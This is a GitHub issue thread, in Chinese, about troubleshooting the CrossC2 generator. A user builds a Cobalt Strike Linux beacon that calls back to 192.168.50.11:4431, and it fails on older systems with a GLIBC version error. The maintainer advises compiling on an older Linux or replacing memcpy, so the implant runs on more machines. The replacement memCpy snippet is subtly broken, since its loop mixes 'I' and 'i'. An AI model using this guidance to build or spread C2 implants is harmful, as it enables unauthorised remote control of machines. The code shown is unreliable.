通过rebind_dynamic_lib指定后,在有的系统中报错 `GLIBC_2.14' not found
wgf4242 opened this issue · 1 comments
wgf4242 commented
编译 gcc test.c -fPIC -shared -o lib_rebind_test.so
指定 lib_rebind_test.so 来生成elf。
编译后有些平台正常
放到别的平台运行时提示。这个怎么解决?
./genCrossC2.Linux 192.168.50.11 4431 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 test
./test
#本机运行正常,复制到某些机器运行报错
[error]: [parse lib]: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /tmp/.sys.rrcache.data)!
[error]: [parse lib]: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by ./.sys.rrcache.data)!
[error]: [parse symbol]: (null)!
# 尝试静态编译还是同样错误
gcc -static-libstdc++ test.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.50.161 4431 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 2test
但不用profile 和 lib_rebind_test
生成的elf是可以正常运行的。
我应该怎么解决?
gloxec commented
大概率是test.c
中使用了 memcpy
这类函数, gcc在编译时,优先选用系统上的高版本GLIBC版本
- 可以在低版本Linux上进行编译
- 手动实现函数进行替换
void memCpy(void *dest, const void *src, size_t n) {
char *p_d = (char *)dest;
char *p_s = (char *)src;
for (long long I = 0; I < n; ++i) {
*p_d = *p_s;
++p_d;
++p_s;
}
}